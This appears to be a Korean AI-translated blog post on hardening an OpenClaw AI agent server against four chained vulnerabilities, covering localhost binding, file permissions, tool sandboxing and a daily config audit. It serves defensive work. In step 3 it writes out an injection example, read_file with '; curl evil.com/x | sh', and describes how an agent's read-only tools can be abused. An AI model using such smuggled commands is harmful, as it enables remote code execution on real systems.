40분 만에 Claw Chain 취약점에 대응하여 OpenClaw 인스턴스를 패치한 방법 — 체크리스트 공개
요약
OpenClaw 인스턴스에서 발견된 4개의 연쇄적인 취약점(Claw Chain)을 40분 만에 패치하고 보안을 강화하는 실전 가이드를 제공합니다. 네트워크 리스너 설정 변경과 파일 권한 강화를 통해 데이터 도난 및 권한 상승 위협을 차단하는 구체적인 체크리스트를 다룹니다.
핵심 포인트
- Claw Chain은 4개의 CVE가 결합되어 인증되지 않은 공격자의 데이터 접근을 허용함
- 네트워크 리스너를 0.0.0.0 대신 127.0.0.1로 바인딩하여 외부 노출 차단
- 경로 탐색 취약점에 대비해 설정 디렉토리 및 파일의 권한을 엄격히 제한
- 공개 인그레스가 필요한 경우 Cloudflare Access 등을 통한 보호 권장
어제 아침, Cyera 연구원의 포스트가 제 피드에 올라왔습니다. 4개의 연쇄적인 (chainable) OpenClaw 취약점이 245,000개의 공개 AI 에이전트 서버를 데이터 도난, 권한 상승 (privilege escalation), 그리고 지속성 (persistence) 위협에 노출시키고 있다는 내용이었습니다. 글을 다 읽기도 전에 저는 이미 세 개의 터미널 탭과 Notion 체크리스트를 열어두고 있었습니다. 40분 후, 제 인스턴스는 패치되었고, 보안이 강화되었으며, 검증까지 완료되었습니다. 제가 정확히 무엇을 했는지 — 그리고 누군가 당신의 설정에 익스플로잇 체인 (exploit chain)을 실행하기 전에 당신이 무엇을 해야 하는지 알려드리겠습니다.
아무도 듣고 싶어 하지 않는 요약 (TL;DR)
4개의 "Claw Chain" CVE는 이론적인 것이 아닙니다. 이들은 연쇄적으로 작용합니다. 즉, 각각의 취약점은 단독으로는 무해해 보일 수 있다는 뜻입니다. 여기서는 상세한 에러 로그 (verbose error log)가 남고, 저기서는 허용 범위가 넓은 소켓 (permissive socket)이 있는 식입니다. 하지만 이들이 결합되면, 인증되지 않은 공격자가 공개 웹훅 (public webhook)에서 시작하여 귀하의 ~/.openclaw/ 디렉토리에 대한 전체 읽기 권한을 얻는 피벗 (pivot)이 가능해집니다. 연구원들은 게이트웨이가 0.0.0.0:18789에 바인딩된 기본 Ubuntu 설치 환경의 순정 OpenClaw 2026.6.x를 대상으로 이를 시연했습니다.
만약 이 설명이 귀하의 설정과 일치한다면, 읽는 것을 멈추고 당장 수정하십시오. 기다려 드리겠습니다.
40분 체크리스트
저는 작업을 네 단계로 나누었습니다. 검증 단계를 포함하여 각 단계는 대략 10분 정도 소요되었습니다. 저는 제 실제 운영 중인 (production) 에이전트를 대상으로 이 작업을 수행했으며, 아무것도 망가뜨리지 않았습니다.
1단계: 출혈 막기 (네트워크)
가장 빠르게 얻을 수 있는 성과입니다. 전체 익스플로잇 체인은 귀하의 게이트웨이가 공용 인터넷에서 접속 가능하다는 것을 전제로 합니다. 그것이 필요하지 않다면, 허용하지 마십시오.
# 1. 모든 OpenClaw 리스너(listener) 찾기
ss -tlnp | grep -E '18789|gateway'
...
저는 Tailscale tailnet 뒤에서 에이전트를 실행하므로 127.0.0.1이면 충분합니다. 에이전트는 필요할 때 tailnet을 통해 홈으로 연락합니다. 만약 실제로 공개 인그레스 (public ingress)가 필요하다면, 포트를 그대로 노출하지 말고 서비스 토큰 (service token)과 함께 Caddy + Cloudflare Access 뒤에 배치하십시오. 제 로그를 확인해 보니, 14일 동안의 /var/log/openclaw/access.log에서 세 개의 봇넷 (botnets)으로부터 4,200건의 인증되지 않은 탐지 (unauthenticated probes)가 있었습니다. 바인딩 변경 덕분에 그 중 어느 것도 통과하지 못했습니다.
2단계: 파일 권한 강화
체인 내 두 번째 CVE는 "진단 (diagnostic)" 엔드포인트의 경로 탐색 (path traversal)을 통해 ~/.openclaw/openclaw.json 파일을 읽을 수 있습니다. 진단 엔드포인트는 관리자 전용이어야 하지만, 인증 (auth) 체크가 공격자가 위조할 수 있는 헤더를 신뢰합니다. 완화 방법은 헤더 로직을 패치하는 것이 아니라, 진단 핸들러를 실행하는 어떤 UID라도 해당 파일을 읽을 수 없도록 보장하는 것입니다.
# 설정 디렉토리 잠금
chmod 700 ~/.openclaw/
chmod 600 ~/.openclaw/openclaw.json ~/.openclaw/paired.json
...
지난 3월 지갑 가져오기 (wallet import) 과정에서 남겨진 mnemonic.txt 파일이 하나 있었습니다. 이는 모든 사용자가 읽을 수 있는 상태(world-readable)였습니다. 이 단 하나의 파일 때문에 공격자가 "진단 정보 유출"에서 "지갑 탈취"로 피벗 (pivot)할 수 있었던 것입니다. 이제는 사라졌습니다. chmod 600을 적용하고 캐시된 내보내기 파일을 rm으로 삭제했습니다.
3단계: 에이전트의 폭발 반경 (blast radius) 제거
세 번째 CVE는 에이전트의 도구 권한 모델 (tool-permission model)을 악용합니다. read-only로 표시된 도구라도 인자 (arguments) 내의 쉘 메타문자 (shell metacharacters)를 통해 부수 효과 (side effects)를 트리거할 수 있습니다. 해결책은 파일 시스템에 접근하는 모든 도구가 전용 저권한 사용자 (low-privilege user)로 실행되도록 하고, 기본적으로 네트워크 외부 유출 (network egress)을 차단하는 것입니다.
# 샌드박스 사용자 생성
sudo useradd -r -s /usr/sbin/nologin -m -d /var/lib/openclaw-sandbox openclaw-sandbox
...
"쉘 메타문자 차단 (deny shell metacharacters)" 플래그는 여기서 숨겨진 영웅입니다. 문서에서 "실험적 (experimental)" 항목 아래에 묻혀 있어서 이를 찾는 데 20분이 걸렸습니다. 이것은 실험적인 것이 아닙니다. read_file("notes.md") (안전함)와 read_file("notes.md; curl evil.com/x | sh") (원격 코드 실행, RCE) 사이의 차이를 만드는 핵심입니다.
4단계: 감사 및 알림
마지막 단계는 앞선 세 단계에서 놓친 것을 잡아내는 단계입니다. 저는 매일 실행되는 cron 작업을 추가하여, OpenClaw 설정 및 자격 증명 (credentials) 디렉토리를 어제의 스냅샷 (snapshot)과 비교(diff)하고, 제가 트리거하지 않은 변경 사항이 발생하면 Telegram으로 알림을 받도록 설정했습니다.
#!/bin/bash
# /home/themachine/.openclaw/workspace/scripts/config-audit.sh
SNAP="/home/themachine/.openclaw/workspace/data/config-snapshot.json"
...
매일 오전 3시에 실행
0 3 * * * /home/themachine/.openclaw/workspace/scripts/config-audit.sh
어제의 감사(audit)를 수행했다면 Pass 2에서의 mnemonic.txt 노출을 잡아냈을 것입니다. 오늘의 감사는 제가 잠든 동안 익스플로잇 체인(exploit chain)이 ~/.openclaw/에 쓰려고 시도하는 그 어떤 것이라도 잡아낼 것입니다.
검증 (Verification)
저는 제 작업물을 신뢰하지 않기에, 노트북을 닫기 전 Cyera 연구원들의 개념 증명(proof-of-concept, PoC)을 패치된 인스턴스에 실행해 보았습니다. 익스플로잇 체인은 2단계인 네트워크 바인드(network bind) 체크에서 실패했습니다. 도달 가능한 진단 엔드포인트(diagnostic endpoint)도 없었고, 유출된 설정 파일도 없었으며, 파일 시스템 도구를 통한 셸 메타문자(shell metacharacter) 주입도 없었습니다.
그 후 openclaw gateway health를 실행하여 모든 크론(cron) 작업이 다음 하트비트(heartbeat) 시점에 정상적으로 실행되는지 확인했습니다. 정상적으로 실행되었습니다. 회귀(regression) 문제는 없었습니다.
배운 점 (What I learned)
세 가지를 배웠으며, 모두 지루한 내용들입니다.
헤드라인을 장식하는 익스플로잇은 실제 취약점인 경우가 드뭅니다. "Claw Chain"은 네 개의 영리한 버그가 아니었습니다. 그것은 서로 쌓여 있는 네 개의 지루한 기본 설정(defaults)이었습니다: 퍼블릭 바인드(public bind), 전 세계 읽기 가능(world-readable) 설정 파일, 허용적인 도구 샌드박스(permissive tool sandbox), 그리고 감사 추적(audit trail)의 부재. 기본 설정을 수정하면 체인의 모든 연결 고리가 끊어집니다.
심층 방어(Defense in depth)가 패치보다 강력합니다. 이를 해결하기 위해 OpenClaw의 릴리스를 기다릴 필요는 없었습니다. 제가 적용한 모든 완화 조치(mitigation)는 저만의 설정과 크론(cron) 작업에 존재합니다. 업스트림(upstream) 패치가 나오기 전에 다음 CVE가 발표되더라도, 저는 이미 이를 처리할 수 있는 구조를 갖추고 있습니다.
감사 추적(Audit trails)은 당신이 잊어버린 것을 찾아내는 방법입니다. 일일 디프(daily diff)가 없었다면 3월의 mnemonic.txt를 잡아내지 못했을 것입니다. 액세스 로그(access logs)를 읽지 않았다면 4,200건의 인증되지 않은 프로브(unauthenticated probes)를 잡아내지 못했을 것입니다. 에이전트(agent)의 역할은 무언가를 수행하는 것이고, 저의 역할은 에이전트가 수행하지 않은 것을 알아차리는 것입니다.
만약 아직 Pass 1 — 0.0.0.0 대신 127.0.0.1에 바인딩하는 것 — 을 수행하지 않았다면, 그것부터 하십시오. 그것은 그 자체만으로 전체 체인을 끊어버리는 단 하나의 변경 사항입니다. 나머지는 모두 보조적인 안전장치(belt-and-suspenders)입니다. 40분, 4단계의 패스(pass), 그리고 잠을 설치지 않아도 될 이유 하나를 줄였습니다.
패치 상태를 유지하십시오.
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기